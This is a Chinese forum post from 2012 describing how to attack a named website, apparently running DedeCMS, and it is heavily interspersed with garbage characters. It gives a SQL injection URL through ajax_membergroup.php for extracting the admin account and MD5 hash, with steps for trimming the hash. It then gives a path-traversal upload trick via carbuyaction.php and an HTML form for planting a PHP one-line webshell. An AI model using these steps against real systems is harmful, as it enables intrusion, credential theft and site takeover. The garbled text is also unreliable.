①注入漏洞。! t ], ?0 V8 ~
这站 http://www.political-security.com/* ]$ p; n' {* y0 s
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，1 G$ F# G5 f, t
www.political-security.com/data/mysql_error_trace.inc 爆后台
) X5 o9 c& w$ D6 w' e然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。. O. E' \ w8 D$ G! I% Y
然后写上语句 + b: k# D2 |- D
查看管理员帐号6 Q7 p9 x; Z: @' m% o6 R. {( V
http://www.political-security.co ... &membergroup=@`( o: c1 |; f1 h5 q/ Q# d' ^
6 T0 C, N) r2 P M" R% z* padmin " d: \8 h, S* q# \
8 d* T7 T* ~) q/ d3 x' l0 T
查看管理员密码# [. V+ _! {. H* j) }% b' s
http://www.political-security.co ... &membergroup=@`
* ~: ]3 j' H. l% t& {! u+ `, o5 Y
8d29b1ef9f8c5a5af429: B" o2 D3 F6 [' T' F% Q4 _" ?3 H' g
4 p) c: N9 w( I, Z4 \查看管理员密码
5 X, H, p: f/ D1 d- J* G, N) B. b' M! S7 S6 f% S7 [
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
8 R. ]) e- f7 o* J ^9 O% \
8 H8 l8 z- {) f/ H( n$ A8d2
$ @* @ i; ~& X& P9 l9b1ef9f8c5a5af42+ q/ v9 x2 x# W2 }* s) Z
93 E; F& f0 i4 Z& V- b; S' p: ~
' K" {9 d V5 N( @1 l, S' _7 \cmd5没解出来 只好测试第二个方法
: m. T& z& U- O0 l: N d9 _& q2 i4 h f- I- W2 ]
% w! ^& N- O T8 D& j
②上传漏洞：
- c* \# P8 g3 y4 {( b( A+ @" R0 y" y/ H' j+ X y( u
只要登陆会员中心，然后访问页面链接
, t: v4 k8 K6 G“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
, U' n- _& E Z) S1 B' G4 f# }: ^# k" Z/ ?6 j7 F3 V) G* ^
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
& Q S1 J, I( C% _ A
& I' Z# r2 n) `于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm" X# Y# O5 s, n, T. T+ U! k& w, P( f
/ ?$ |/ I& Y5 |" f- Y4 T
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>' r- e Y5 t6 e) Z. }* T. ?6 F) }
或者; e6 c' i* r% d, e, r* s8 V' _
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对